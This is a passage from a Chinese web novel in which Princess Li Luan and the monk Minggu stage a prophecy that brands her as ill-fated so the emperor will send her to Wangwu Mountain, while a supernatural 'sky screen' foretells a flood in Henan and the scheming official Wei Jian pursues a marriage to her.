许负眨眨杏仁眼,眼眶有些热,她反手拍了拍南城冰冷的手,声音带着一种安抚的力量:“好,我会为你娘寻大夫。”
一滴眼泪从南城的眼角砸到地上。
被打断腿的时候他没有流泪,尊严被践到脚下的时候他也没有流泪。
可偏偏在感受到一点点善意的时候,铺天盖地的委屈让他控制不住地发抖。
他只觉得羞耻。
“你娘住在何处?”
南城的瞳孔猛地亮了一下,像濒死前最后的一点生机。
“来生,当牛做马!报答……”他急促地喘息着,突吐出的血沫也越来越多。
“河南道……宋州……睢阳县……我……我叫……” 他的声音越来越微弱。
许负跪在地上,毫不犹豫地跪在冰冷的雪地上,弯下腰,将耳朵凑近他翕动的嘴唇,太极簪垂下的流苏轻轻扫过他的脸颊。
她必须听清!
可面前瘦弱的少年最终没有坚持到说完话的那一刻。
许负缓缓直起身,对于少年的死她无太多意外,只是忍不住红了眼眶。
她默默地将“河南道宋州虞城”在心中又默念了几遍,盘算以后有机会定要托人去宋州仔细寻访。
“这位娘子,这还要葬他吗?”车户看着断了气的南城,有些踌躇,但死者为大,他只是叹了口气问道。
“葬。”许负的声音恢复了清脆,带着不容置疑的坚定。
车户把南城的遗体小心地搬上了驴车,回头问道:“那小老儿这便去城郊了。”
他想得周到:“娘子若想去烧纸祭拜,到延康坊南曲找小老儿便可。”
许负点点头:“多谢老丈。”
她本该跟去记记位置的,可眼下她有更重要的事要做。
一条人命了结,这路口看热闹的人也散开了。
许负转头欲寻那辆马车。车帘已经落下,地上空留一道车辙印。
路尽头的拐角,华丽马车内熏香袅袅。韦坚撩起车窗帘,似笑非笑地看着那青布小马车越行越远。
‘李鸾……’ 他唇齿间如毒蛇吐信一般无声地碾磨着这个名字。
那个木讷呆傻公主?
她怎么会出现在那里?仅仅是“祈福”路过?
更让他心头微动的是,那么血腥的场面,这呆傻公主没有恐惧,没有怜悯,也没有害怕。
真是傻到极致了?
韦坚眼底兴奋划过。
不不不,他更愿意相信她不那么简单。
今日看到的她与他认知中那个“痴傻”公主的形象,产生了巨大的割裂。
一丝病态的兴奋感如同毒蛇般缠绕上韦坚的心头。
一个隐藏着爪牙、会伪装的猎物似乎更有趣,更值得……撕碎。
他想起圣人那隐晦的赐婚暗示。
“呵……”一声低沉的、带着无尽寒意的轻笑在车厢内响起。
韦坚的眼中闪烁着充满征服欲和施虐念头的幽光。
8. 克夫克父命格
第八章
许负一直跟在李鸾的马车后。
她总觉得李鸾已经知道了马车后跟了人,车走得很慢,她跟着也并不费什么力气。
许负并没有刻意隐瞒自己的存在的事实,若她有意隐瞒,便不会有路口那一隔窗相望。
她只是想看看,能把她召唤出来的女人,到底有何本事值得她追随。
若是没本事,跟着她还不如回卡牌里捣鼓她的一堆龟甲铜钱。给其他名士算命可比跟着一个木讷女人有意思多了。
轿子停在了大安国寺的门口,轿身一倾,李鸾从其中走出。
她没有回头,径直走进寺内。
许负亦步亦趋,也跟了上去。
因李鸾这次来大安国寺祈福,是得了李隆基的允许,所以寺里派了有眼力见的僧人,早早在门口候着了。
“阿弥陀佛,小僧奉师之命在此恭候真阳殿下。殿下驾临,山门生光。佛前香烛已备好,弥勒阁三层正清净,正可礼佛。”
小沙弥侧身:“请殿下随小僧移步,师父已经在弥勒阁三层候着了。”
李鸾没什么表情,也没说话,顺着沙弥指的方向走。
弥勒阁是寺内标志性建筑之一,就在正门不远处,因供奉弥勒佛出名。
弥勒佛在佛教中被视为“未来佛”,梵文解释其会在未来降世,带来太平盛世。百姓多拜弥勒,以求现世安稳,五谷丰登。
因此弥勒阁的人也多,只是大多数的人皆聚在一层,二层人不多,三层人更是寥寥无几。
作为被李隆基记起的,马上要利用的棋子公主,李鸾在这些时日也得到了一些优待。对她视而不见的宫女变得毕恭毕敬,精致吃食也送到了她犄角旮旯的殿里,李隆基甚至打算给大安国寺清个场,让她专心礼佛。
李鸾木木地说不想搞很大的排场,不想被很多人看到,李隆基挥挥手随她去了。
不过是顺嘴的事,话说了,这女儿也算关爱了。
许负一直跟到了弥勒阁第三层,就被沙弥伸手拦住了。
沙弥躬身双手合十:“阿弥陀佛,施主赎罪,此处是师父清修之所,不便入内,施主可往前殿礼佛。”
小沙弥对着许负说礼佛,视线却看向了她发髻上的太极银簪。
那意思很明显了,你一个女道士,来寺庙作甚?
看起来还鬼鬼祟祟的,跟在公主的后面,焉知是不是歹人。
一直沉默的李鸾说话了:“不必拦她。”
李鸾的话音刚落,沙弥就非常听话地把拦住许负的手放下了。
师父说了,这位真阳公主说什么,都得听。
废后的女儿真阳公主得了封号,这事不是什么秘密。
至于一个不受宠的呆傻公主,如何能得师父如此重视,小沙弥并不知晓。但师父这样嘱咐他,一定有师父的道理。
许负惊叹于沙弥的变脸速度之快,之后又把这惊奇的目光放在了李鸾的身上。
这跟她打听到的消息不一样啊?不是说真阳公主被冷落了十几年吗?在宫里就是个宫女太监都能瞧不起她。
许负眼神复杂地看向李鸾。
所以这个公主对于自己在审视她这件事心知肚明,并默许了她这并不礼貌的行为。
许负跟着李鸾来到一间朴素的禅房,禅房门口,一身绛色袈裟的和尚早已站在那里迎接。
“今日长安落雪的时候,贫僧就在想殿下何时会来大安国寺。”
明悟神情从容,但捏住佛串的手却暴露了他此刻并不平静。
小和尚把人送到就很有眼力见地离开了。此时是弥勒阁禅房门前,只有李鸾,明悟还有许负三人。
李鸾古板木讷的脸上终于多了丝笑:“我今日来倒无别事,来算算命数。”
明悟心下了然:“殿下请里面上座。”
算命数?谁的命数?她召唤人的命数?
许负看了看和尚得道高僧胸有成竹的样子,又看了看她或有可能辅佐的,看起来并不那么智慧的“主君”。
感觉要完,召唤人要被骗。
她许负都看不透的命数,岂是一个和尚能轻易勘破的?
虽说她并没有决定追随召唤人,可总不能平白看着召唤人被骗至深。
许负防备地看了明悟一眼,尾巴一样跟在李鸾身后进了禅房。
明悟并未阻拦,对面前女道士不友善的眼神包容地笑了笑。
能得公主允许跟在身后的,自然是信任之人,他没有必要多言。
李鸾没有上座,还是坐在了上次来时坐的蒲团上,自顾自地抿了口水:“近日父皇终于想起了我,赐我封号,我倍觉欣喜。前半生我总觉得自己过得艰难坎坷,十分不顺……”
“故而我想看看我的命。”李鸾放下杯盏,定定地看着明悟,眼里带着晦涩难懂的光。
明悟胸中了然:“公主是想知道自己是否已彻底脱离过去苦海,之后的人生是否顺遂?”
李鸾笑了笑,觉得明悟上道:“是。”
明悟弯腰,从几案旁拿出一卷星图展开,手边摆了个罗盘,看了又看。
许负扫了眼罗盘,把和尚老神在在的样子尽收眼底,讥讽地笑了笑。
没过多久,明悟双手合十,闭上双目,像是看到什么不该看的:“阿弥陀佛!公主此命乃 ‘七杀星君’坐守业胎宫,前世造身口意三业恶因,今生显化!”
许负嘴巴动了动,想说些什么,却又看着李鸾听得认真,忍住了。
明悟指了指星图上金火二星的位置,一锤定音:“金星主夫运,今陷 ‘罗睺’蚀曜。火星主尊亲,反冲 ‘计都’死门。”
无稽之言!骗子秃驴!这不是在说李鸾克夫又克双亲吗?
心思实在歹毒,一个公主被安上这样的命数,还能有什么好日子能过?
许负气得脑袋上八卦簪坠着的流苏都在摇晃。
她又看了看李鸾,却看到李鸾竟然正在点头,很认可这秃驴的话?!
许负忍不住扯了扯李鸾的衣角,指了指自己。那意思是:我,许负,第一女相士就坐在这里,你这个“主君”竟然去找个骗子秃驴算命?
李鸾看着许负气得微红的脸,忍俊不禁。
许负更生气了:她还笑?被人买通秃驴陷害了知不知道?!
明悟看着李鸾,高高在上宣判了
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她最终的命运:“殿下双煞绞索,刑克六亲!”
许负忍不住了,一拍案几站起来:“悖理妄言,竟敢诓骗公主!”
她冷笑着夺过和尚手里的而星盘,指甲刮了刮星盘表层,露出里面的铜绿:“大和尚好重的无明业火 !这木星铜锈糊的轮盘,也敢妄断天命?”
她回头看了眼李鸾,恨铁不成钢:看到了吗?法器都是假的,他算的命能是真的吗?
明悟呆了呆,看向李鸾:她跟你不是一伙的啊?
李鸾咳嗽两声,拉着许负与自己同坐,倒了杯水推到她的面前,好脾气地安慰:“消消气。”
许负怒气稍微平息。
李鸾看向明悟:“那大师可有破解我这命格之法?”
许负怒气又起,转头又看向李鸾。
合着她什么都没听进去!
许负把头转回来,坐在草垫上,像只鼓鼓的猫。
明悟捻了捻佛珠:“要破此命格,唯有三法。”
“哪三法?”
“一空红尘姻缘。”
李鸾点头,这是不婚嫁。
“二空俗家名姓。”
这是出家修道。
“三空父女伦常。”
这是避见君父。
明悟忖度着此前李鸾给他的那张纸条。
二十九年七月,伊、洛及支川皆溢……
“当赴王屋山持‘楞严咒’九千遍,岁首归里为亲祈福,此劫方消!”
他看向李鸾,带着试探。
公主的预言既与河南有关,那或许此地于她大有用处。而王屋山,作为道教天下第一洞天,离那里很近,却又不至于受水患之害。
但离开京城,却又不能完全让长安脱离公主的控制,过年时回来一趟,非常合理。
李鸾赞许地看着明悟:“如此甚好。”
许负终于看出了明悟和李鸾之间那不对劲的氛围。
表面上是明悟用高高在上的语气来宣判公主克夫克父的命格,实际上,公主才是这场对话的引导者。
她在引导这个和尚,为她改命,她要把这克夫克父的命格传出去。
赴王屋山……她想离开长安!
许负倏然转头,看向李鸾。
这个召唤者绝不简单,最初古板木讷的样子险些把她都骗了去。
明悟看到许负震惊的样子,心中了然。
看来殿下这是还没完全收服身边这门客啊。
他乐得顺水推舟地送人情,看向许负,依旧是神在在样子:“主君之深谋,远非汝之所期;其远虑,更非汝之所能窥也。”
李鸾挑眉,这和尚也有点太上道了,和聪明人说话就是省事。
只是仅见三面,主君都叫上了?她可还没说要收下这和尚呢。
她笑骂一声:“多嘴。”然后起身,拂袖离开。
明悟也跟着起身,行至前廊时,他看向树上薄薄一层雪,对许负道:“夏寒六月霜,早雪覆长安啊,看到这雪了吗?”
许负点头:“夏日飞雪,确实罕见。”
明悟转头,定定看着许负:“那你可知,这夏日飞雪,是因谁而来吗?”
9. 天幕再现
夏日飞雪因谁而来?
天命有常,非人力所能更易。
“这不可能。”许负下意识反驳。
明悟不再看雪,也不看许负,而是看回廊里越走越远的背影。
她穿得古板,走姿木讷,毫不起眼。若是穿得再朴素一些,塞进人堆里都难找。
许负的视线跟随明悟的视线,落到了李鸾的身上。
她的心跳不由加快,是她?
可毕生所学都在告诉她,这不可能。
她反驳明悟,也在说服自己:“物候之流转,天时之变化,皆由天所禀赋,其势不可逆,绝非一人之力可移!”
明悟看着许负:“若我告诉你,真有一人可预知天时物候呢?”
许负只觉得荒谬:“这怎么……”
她的话被打断,落雪中,许负听到了明悟的声音:“‘夏寒六月霜,早雪覆长安’,这是三日前她对我说的话。”
“她若无知天地的本事,那便是有呼风唤雨的本事。”
这话如一记重锤,重重砸在了许负的心上。
无论是知晓天地,还是呼风唤雨,这都是可比肩神明的力量。
许负并不傻,这瞬间她想通了所有。
“主君”想和面前这个和尚做交易,交易内容便是为她改命。因此“主君”拿出了筹码。
这个筹码一定被和尚质疑,因此才有了他们第二次见面。
“夏寒六月霜,早雪覆长安”这句预言,竟然仅仅只能作为一个证明出现——“主君”对自己能力的证明。
而“主君”真正拿来和和尚做交易的东西,一定比这句预言的分量更重。
许负越想越心惊。
眼看李鸾背影越来越小,被来来往往的香客隐没,她来不及和明悟道别,提起裙摆飞快一路奔跑。
李鸾正欲上马车的时候,听到了许负带着沉重呼吸的声音:“等……等一下!”
李鸾止步回头。
许负毫不含糊,当即叫了一声:“主君!”
李鸾笑了:“地阶名士卡许负,你终于来了。”
许负眼里带了光:“请主君教我预知物候,呼风唤雨之术!”
李鸾有些为难地看着许负:“这我还真教不了。”
她不是不想教,是真不会教啊。
能预知物候全靠她的好脑子,记住了历史小时,和什么预知没有半毛钱关系。
许负眼中失落难掩。
不愿意教……
也是,别人的真本事怎么可能随随便便教给她。说起来她也只是作为一个辅佐的角色存在于主君的身边,的确没有资格要求什么。
最重要的是,此前对主君的试探和揣度,实在算不上礼貌友好。
她要审视这位主君是否有君临天下的能力,这位主君也必然要确定她的确有本领才能将她收入麾下。
“主君给我一个机会!”许负一双杏仁眼满含期待地看着李鸾。
李鸾心里门清,许负这是想帮她办事。
可是……
“不大好吧……”
李鸾犹豫着。
她的第一个历史名士刚出现,她就让人家去干活,这和只会剥削的无良老板有什么区别?
许负看出李鸾的犹豫,心道不好,之前试探主君确实唐突了,让主君心里有隔阂了。
主君没有告诉她要做什么,眼下她哪怕有心做点什么事也无力去使。
这事还得主君松口。
许负杏仁眼亮的惊人,心彻底一横,身体微倾,膝盖就要弯了下去,两条胳膊奔着李鸾的大腿就要去了。
没错,她很可耻地预备耍无赖。
李鸾飞速扶住许负的手肘。
许负有些惊讶。主君的手臂有些……过分有力量了,她被稳稳拖起,一点反抗的机会都没有。
她的手没有抱到主君的大腿,却像个树袋熊一样保住了主君的胳膊。
许负下意识地捏了捏,不像她的肉一般软绵,反而结实有力……q弹。
李鸾被许负的眼神看得头皮发麻。这是一种渴望工作的眼神,还夹杂着一些对她肌肉的好奇。
“先前冒昧试探,是我不敬,请主君宽恕。然负之才学,主君定有用武之地。”许负知错就改,“劈柴烧火、洒扫庭除、卜卦算命……我只求一个将功折罪的机会!”
话说至此处,李鸾实在不好再犹豫。
“我并未因为你试探一事不悦,”李鸾叹了口气,照实说,“我就是觉得你初来乍到的就让你干活,不太好。”
许负感动,觉得主君人很好。
虽然主君对人命并无过多悲悯,可能力实在出众,瑕不掩瑜,让人心悦诚服。
她眨眨眼,期待地看着李鸾,那意思:派点活儿吧……
李鸾摸了摸下巴:“你如果真想干活的话,我这儿有件事,确实非你不可。”
-
六月末的暑气已如附骨之疽,粘稠地裹住整个长安。
间或几场暴雨,虽频繁,却来得迅疾去得也匆匆,无人把这几场雨放在心上。
早雪已被炎热的天气覆盖,偶有人提起,很快就被其他新鲜事盖了过去。
傍晚,天还未暗,几个妇人坐在三人合抱粗的老树下纳凉。
边上两个女童趴在地上画格子玩。
“现在谁还说六月雪呐,七月雨要来喽。”
“我听李家的大娘子说,大安国寺那个叫明悟的得道高僧时隔十一年又说了道谶语,说是什么,今年七月又大水害庄稼,溺死一千个人嘞。”
“要我说这摸不着边儿的,谁说得准。”
“谁说不是,这雨下下停停,哪就那么严重了。”
“暴雨年年有,今年特别热,要我说哪年暴雨啊,都不能是今年。”
“明日就是七月头一日,且等着看吧,等七月过了,这水患再不来,大安国寺的香火也就少喽……”
“没瞧见过这么作死的和尚,你说他图啥呢?”
几个妇人把蒲扇扇得呼呼响,你一说一言我跟一嘴。
要说长安现下最值得讨论的事,除了明悟大师的谶语,就是糖鹤齐齐死掉飞升的事儿。
树下两个稚儿画好了格子,跳了起来,嘴里还唱着格子歌。
小孩儿跳了一跳:“青鸾丹。”
接着一扭身:“王屋山。”
她张开双臂:“糖鹤驮我——”
小小的脚尖高高垫起:“上云端!”
说来也是奇怪,就是前几天,接连三日,整个长安卖糖画的小贩在前一日做好的白鹤糖,皆在正午十分鸟腹胀起,“噗”地一声离架浮空,在日头下振翅欲飞的模样,
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鸟腹虽破却熠熠生辉,真如修成飞仙一般。
“大理寺查了好几日,也没查出什么名堂。”
“又没出人命,那些当官儿的也不会尽力。”
“不过这事儿真是稀奇啊,我那会晌午就在小摊上买饮子喝呢,那饮子摊旁边就是卖糖人的。”
“我是没亲眼看过,大家都说得神着呢,你快说说,那糖鹤是什么样儿?”
“亮啊,是真亮,那一排插在木棍上的糖鹤,突然就离地半尺,张开翅膀就像要飞走了一样。”
“我相熟的道士说,这是天上有仙人缺坐骑,来人间寻了呢……”
-
“糖人化鹤?无稽之谈。”李隆基欹坐在软榻上,一手撑着下巴,头懒得动一下,一双浑浊的眼睛却追着杨玉环的倩姿。
“青鸾丹,王屋山。糖鹤驮我上云端。”杨玉环笑着给李隆基唱格子歌,蹦跳了两下,带了几份寻常时没有的活泼。
“如今几岁稚儿都唱这个呢,许是天上仙人缺坐骑,把糖鹤招去了。”
杨玉环带着薄汗,却拿出帕子为无汗的李隆基擦了擦额头。
李隆基念头一转,却想到了两条谶语。
这两条谶语皆出自明悟和尚的嘴,一是河南水患,将死千人。二是帝女七杀之命,克夫克父。
李隆基本不愿相信这两条谶语,可近些日子,他总会想起十一年前废后一事。
先皇后在后宫做厌胜之术,这是明悟和尚道破的。
彼时这和尚并无甚名声,更没进过宫,与皇后是八竿子打不着的关系,所以这一说完全不能算是有人要谋害皇后。
“菱藏寒塘,风牵祸线……”
若不是先皇后闺字有菱,他还真参不透这谶语。
李隆基不是没有怀疑过明悟和尚为旁人所用,他调查过,明悟身世清白,是个老实本分的和尚,莫说与宫中人有关,就是与长安贵族,也是没关系的。
所以明悟和尚大约真是有点本事在身上的。
想到这事,李隆基对明悟现在说的两则谶语多了一分相信。
“二十九年七月,伊、洛及支川皆溢,害稼,毁天津桥及东西漕、上阳宫仗舍,溺死千余人……”
李隆基把托着腮的手放到了膝处,手指一点一点。
未有灾害便拨款赈灾?国库并不充裕,兴建宫殿又是一笔不少的钱。
韦坚那里的赋税还要等些时候,此番进京他本该带不少孝敬,可水渠突生水匪……
李隆基眉头皱了皱,浑浊眼睛里全是不满,烦躁异常。
不顺,真是不顺。
脑海中莫名就飘来了帝女克父这个说辞。
难不成最近的不顺,真是因为这个被忘记许久的女儿?
他堂堂真龙天子,还能被一个不成气候的公主克了不成?
李隆基睁开眼睛,只见窗户外面,毒辣的太阳高悬,刺得晃眼。
“呵,伊洛支川皆溢,溺死千人,无稽之谈!”李隆基站起身,负手而立。
刚才对谶语的一分相信,被太阳晒得干净彻底。
“陛下,水陆转运使韦坚……”
“轰隆——”
突有一声暴雷,打断了宦官的话。
震天动地响彻长安,连天边的黑云都抖了抖。缩小的天幕放大,再次出现了画面。
10. 谶语成真
【看,这就是昌禄皇帝亲手参与修建的堤坝。】
天幕上,一座长堤稳稳地把隔绝滔滔不绝的黄河水隔绝在外。
【今天来河南旅游,作为昌禄陛下的粉丝,看到这座堤坝,真的很难不想到开元二十九年。】
李隆基皱眉。
开元二十九年,也就是今年。
这一年对李亨如此重要?
他目光一横,猜忌几乎瞬间成形——他倒要看看,李亨今年究竟做了些什么!
【这一年,是唐朝气候的转折点,这一年出现六月飞雪的极端天气,此后大唐由暖转寒,水患频发。】
六月飞雪!
天幕之下,一片哗然。
若说上次众人还对这凭空出现的天幕半信半疑,此时“开元二十九年,长安六月飞雪”之言一出,几乎无人再敢质疑。
神迹所言,句句属实!
“是神迹,是神迹,说的是真的!”
“前几日的飞雪,大家伙可都亲眼所见呐。”
“既然如此,那是不是说明,那能种田的曲辕犁,确确实实会出现!”
“还有那个昌禄皇帝,天幕说那是个顶好的皇帝!”
李隆基心下一沉,若天幕所预言的未来皆会成真,那事情就绝不简单。
“陛下,韦转运使还在外面候着。”
天幕突现,打断了传召,但修渠有功的韦坚仍候在殿外。
李隆基回过神来:“宣。”
若依照天幕所言,自今年起水患频发确有其事,那韦坚这个转运使的位置就十分重要。
更何况,他主持修建的广运渠即将通航。
韦坚身着挺括的紫色圆领官袍,腰间紧束金玉革带,垂身拱手:“陛下。”
面见皇帝,他身上阴鸷的气质收敛了大半:“明日原本是验看漕渠的吉时,可如今天幕出现,陛下看这时间是否要延后几日?”
李隆基摆摆手:“你做事,朕放心,事出突然,验看漕渠就不必了。广运渠疏通有功,该赏。说罢,想要什么?”
韦坚嘴角微扬,身子却弯得更低些:“微臣只是尽到了为臣子的本分,不敢要什么赏赐。”
“有功则赏,有何不敢?”
一点赏赐罢了,比起将来源源不断的漕运之利,又算得了什么?
他前半生的功绩不胜枚数,人过天命,是时候该享受这盛世的成果了。
“那臣便斗胆请陛下赏赐了。”
李隆基笑了,有欲望,是好事:“说吧。”
韦坚眼底的阴光晦涩:“臣请陛下赐兵。”
李隆基眉毛一横:“赐兵?你要兵干什么?”
韦坚言辞恳切:“通济渠一带水匪猖獗,屡劫官船。船上所载乃江淮转运之物资,以粮帛为主……”
他声音放缓,像是随口一说,却是意有所指:“这其中还包括……臣为陛下搜罗的一些江淮珍玩。虽不值什么却是我对陛下的心意。”
“这些水匪,实在可恨!”
两个人都心知肚明,这船上丢掉的“稀罕玩意”,“不值什么”才是客套,相反这些东西价值连城,是可以直接进李隆基腰包的东西。
这下李隆基也愤怒了,几个水匪竟然有胆子觊觎皇帝的东西,脑袋还是早早跟身子分家的好。
李隆基冷哼一声:“我大唐盛世里岂容这些水匪放肆!”
“朕授你‘都防御使’一职,自怀州至泗州十三州,你可调其团结兵,乡勇,若需官府协同剿匪,凭朕亲书鱼符可向就近军府借兵。”
韦坚的笑容带着志得意满的狠厉,似乎已将那可恨的水匪一窝端下:“谢陛下!”
李隆基步下玉阶,走到韦坚面前,目光看似温和却深藏算计:“韦卿所求实非为私,朕另有赏赐。”
“我观韦卿仪表堂堂,年轻有为,欲指下一桩婚事。朕之十五女李鸾,也到了待嫁的年纪,且是先皇后留下的唯一孩子,朕疼爱有加……”
就在这时,天幕再次响起,打断了他的话。
【开元而时间年的秋天,一场几乎不会停止的暴雨,在河南道已经下了整整十五日。】
【起初,谁都没有在意那淅淅沥沥的秋雨,可自第七日起,天就像被戳了个窟窿一般,铅灰色的云翻滚着,瓢泼大雨从里面倾泻涌出,伊水、是洛水、汴水齐齐涨溢——洪水,来了!】
“轰隆——”
伴随一声巨响,天幕上出现了可怖的画面。浑浊的洪水盛了漫天,几乎要溢了出来。
除却洪水,只依稀看得周围摇摇欲坠的堤坝,和堤坝之后微渺的城镇。
黑黄的水像狰狞巨兽挣脱了枷锁,嘶吼着冲垮了堤岸。
城外低洼靠近堤坝的地方最先遭殃,不知里面是否有人的草房子在洪水的冲击下如纸糊的一般,浪头如野兽的嘴,咬下一口房子就支离破碎,草木残骸旋即被更高的浪头吞没,消失不见。
这洪水虽在天幕上,却无比真实。大唐所有百姓皆能听到那震天动地的浪声,和扑面而来的水汽,洪水像是要从天上倒下来,连同长安城也一并淹没。
所有人的第一反应是找个结实的房屋躲起来。
之后再三确认,这洪水只是天幕上的画面,不会祸及他们,这才放下心来。
“苍天!这天幕实乃神迹,上面的画影儿也太真了!”
“吓煞俺了,俺差点以为自己就要死嘞……”
“这虚惊,幸好是假的,这洪水要是真的,我们谁都躲不过去!”
有常坐老树底下唠家常的妇人嘀咕着:“幸好是假的?若是真的……”
不知想到了什么,她面上露出惶恐:“真的,真的!!这洪水,是真的!”
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“你吓傻了不成,你瞅瞅这水,还在填上呢!”
妇人惶恐依旧:“你们难道忘记了明悟大师的那句谶语了吗?!”
明悟和尚的那句谶语……
“明悟大师的谶语成真了!”
李隆基的心脏在狂跳。
天幕上的洪水如同倾泻在他心头,令他几乎窒息。就在这一刻,明悟那句谶语猛地撞入脑海:
“二十九年七月,伊、洛及支川皆溢,害稼,毁天津桥及东西漕、上阳宫仗舍,溺死千余人。”
同时天上的神音也声声在耳:“伊水、洛水、汴水齐齐涨溢——洪水,来了!”
两句话在李隆基的脑海中交叉,最后重合,他眼前天幕的画面像是突然变成了现实中即将发生的事情。
天幕预言的六月飞雪已然应验,七月洪水又怎会是假!?
可明悟大师,他的谶语却并非仅仅一条啊!
说“伊、洛及支川皆溢”之时,明悟的脸上只有平静。
让明悟真正需进宫面圣,说与他听的,是另一条谶语。
“真阳公主,双煞绞索,刑克六亲!”
刑克六亲!
李隆基泛黄的眼白中,瞳孔紧缩。
若七月洪水是真,那帝女刑克六亲的谶语……
李隆基越想越惊骇,心跳如擂鼓。
真阳本来就是个不知道姓甚名谁的宫女生出来的,她生母生出她没多久,就去世了。
全赖先皇后心地善良,见她凄惨收到膝下养着。可养了几年,先皇后也被废了。
先皇后原本只是被贬庶人,放到了掖庭宫里,可先皇后在掖庭宫没呆多久,就被一场邪火生生烧死。
这邪女,已克死了她的生母和养母!
先皇后死后,这邪女被放在不知名的宫殿里,他已多年没想起过她了。
现如今他刚预备给这女儿赐婚,韦坚给他的几船宝贝就被截了,天也多生异象,又是六月飞雪,又是七月洪难。
焉知这些灾祸是不是因此女而来!
李隆基的眼里已剩下恐惧。
此女克死了两个母亲后,要来克他这个做父亲的了!
李隆基声音带着微不可查的颤抖:“宣明悟和尚!来人,速速去大安国寺,把明悟大师请过来!”
皇帝急诏,无人敢怠慢。
不多时,一身绛色袈裟的明悟和尚,就站在了李隆基的面前。
他眉目平静祥和,双手合十:“阿弥陀佛。”
李隆基快步走到明悟的面前,目光灼灼盯着他。
他盯的哪里是个和尚,是自己的救命稻草啊。
“先前大师所言,真阳公主,双煞绞索,刑克六亲,这命格可有破解之法?”
李隆基的言语带了狠厉杀意:“若事至必需,此女可当殒身!”
11. 咽喉命脉变催命符
李隆基这是在说,要是没什么别的办法,这女儿可以直接去死!
明悟心肝一颤,杀了那个有神明之力,可呼风唤雨的公主?
他用古怪的眼神看了李隆基一眼:你可真是敢想。
“她之性命唯待自终,不可以人力妄加干预,否则必遭反噬!”明悟用笃定的语气,让李隆基打消杀女的念头。
按照此前在弥勒阁,和主君串通好的说辞,明悟拿捏着一副得道高僧的姿态:“要破此命格,唯有三法。”
李隆基急切道:“哪三法?”
明悟:“一空红尘姻缘,不再婚嫁。”
李隆基:“此事简单!”
“二空俗家名姓,修道出家。”
李隆基:“我大唐公主多有修道者,这也好办。”
“三空父女伦常,避见君父。”
李隆基一个劲地点头,那实在是求之不得!大师高啊!
明悟捻了捻手中佛串:“除去这三条,真阳公主还当赴王屋山,持‘楞严咒’九千遍,岁首归里为亲祈福,此劫方消!”
听到“此劫方消”四个字,李隆基的心彻底安定下来。
只要这克父的命格能改,一切都好说。
此时李隆基看李鸾,像是在看待一个膈应的脏东西,恨不得丢之而后快。
把真阳送去王屋山,而并不引人诟病,还需要寻个由头。
前不久他才为胞妹玉真公主,在王屋山的附近赐下玉灵观。
虽然如今玉真并不住在玉灵观,却也可说是真阳随玉真一同修道去了。
王屋山靠近河南道,此月便有水患……
可这与他又有什么关系呢?
李隆基歹毒地想,若这邪女死在这场水患之中,这才算好。
死于天灾,可不算是人力干预了。
李隆基放心坐回龙椅:“宣真阳。”
明悟和尚领了赏赐后离开了,水路转运使却还在偏殿。
哪怕李鸾并不得宠,可帝女克夫之命也算是天家事,韦坚不宜听。
看到韦坚,李隆基才想起刚才对韦坚说的话。
“我观韦卿仪表堂堂,年轻有为,欲指下一桩婚事,朕之十五女李鸾,也到了待嫁的年纪……”
李隆基实在恨自己嘴快已经说出了十五女真阳公主。
若没提前说出李鸾,那赐的女儿大可换个人选。
现在李隆基骑虎难下,若给李鸾赐婚,那他作为父亲就要被这邪女克死。
若是不承认这桩婚事,可他刚刚金口玉言说的话算什么?
韦坚察觉出了李隆基不愿赐婚的意思。
可那日街上的惊鸿一瞥,在他脑海之中挥之不去。
那女人不简单!
能对血腥和死亡都熟视无睹,只要想想她在他的鞭下尖叫哭喊反抗的样子,他浑身的血液都开始加速流动。
更重要的是,猛兽一般的直觉告诉他,他必需把李鸾弄到手里紧紧拴着,否则日后怕是有大麻烦。
韦坚相信自己的直觉,能在官场爬到如此高度,这种直觉帮了他无数次。
韦坚适时提醒李隆基:“陛下刚刚说,给臣指一婚事……”
他满目惊喜跪地谢恩:“能得陛下赐婚实在是臣莫大荣幸。”
李隆基只恨平时很有眼力见的韦爱卿在这一刻的眼睛像是瞎了一样。
这件事你不言我不语,彼此都当什么都没发生过一样不好吗?
刚刚那个和尚进出,你没看到吗?
还需要朕多言语吗?
李隆基恨铁不成钢地看着韦坚。
奈何韦坚实在准备装傻到底了。
反正话是你皇帝说的,你认不认吧。
他甚至加了把火。
“臣前几日在街上见公主尊荣,实在是一见倾心,臣恐唐突了公主,只敢远远观望。”
“之后臣在家中求神拜佛,是祈求能再见公主一面。”
“许是神佛感念臣至诚之心,或是陛下便是这神佛,愿将真阳公主赐予微臣……”
韦坚喜不自胜,语无伦次的模样,只知道磕头谢恩了。
李隆基胸口想叹的一口气如鲠在喉,要上不下,难受极了。
若是旁的原因,这婚赐就罢了。如今大唐缺财政人才,韦坚实不仅会敛财,在水利上面也卓有建树。
日后水患灾害频发,需要用到韦坚的地方,还多着。
事已至此,李隆基只能说出实话:“真阳公主,双煞绞索,刑克六亲。”
“朕欲将之送往王屋山,以消其煞气。”
“朕知韦爱卿赤心一片,可若爱卿真与真阳成婚,那便在那六亲之列。”
李隆基语重心长,亲自走下台阶,走到韦坚的面前:“爱卿可要考虑清楚。”
原来刚才那和尚是为此事而来。
韦坚眯了眯眼,心中不安更甚。
这难道真的只是巧合?怎么圣人刚有赐婚之意,这公主刑克六亲的命格就出来了?
公主自出生至现在大十几年,太史监的那群人都是吃素的吗,什么都没看出来?
韦坚低下头,面无表情,心中却只有不屑。他从不信什么巧合。
表面上是个被遗忘十年的不受宠公主,实际上却连整个长安城最有威信的和尚都能使唤的动。
这样的反差让韦坚更想探究看清李鸾真正的模样。
看向李隆基的时候,韦坚眼底的阴鸷和兴味被隐藏,赤诚取而代之:“臣不信命,更不惧死,臣只怕与一见倾心的命定之人错过。
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刑克六亲?娶回家了他倒是看看是她的命硬,还是他的鞭子硬。
李隆基简直气得想笑。
真是好一个不信命,不惧死,那他这个皇帝算什么,又信命,又惧死?
这韦坚说话不中听,可偏偏他作为皇帝奈何不得他。赐婚是他这个皇帝先说的,臣子喜不自胜一腔痴情,甚至连生死都能抛之度外。最重要的事,这韦坚,他还有大用。
天幕打破了二人之间的僵持。
【河南水患究竟从哪里开始,这还要从通济渠说起。】
通济渠!
李隆基看向了韦坚。
【应该没什么人知道通济渠,我这里多说两句。通济渠通过淮河链接了长江,将三大水系整个成了一个庞大的运输网。】
【这一路线直接贯通了中原和江淮两大经济区,江淮啊,那钱多得很,肥肥的。】
【因此这个路线,就是南北物资流动的核心通道了。江南的粮食啊,丝绸啊,茶叶啊,可以源源不断地送到洛阳长安。在唐代,每年经过通济渠运出去的粮食要高达四百万石。】
【这么说,大家就知道通济渠的重要了。】
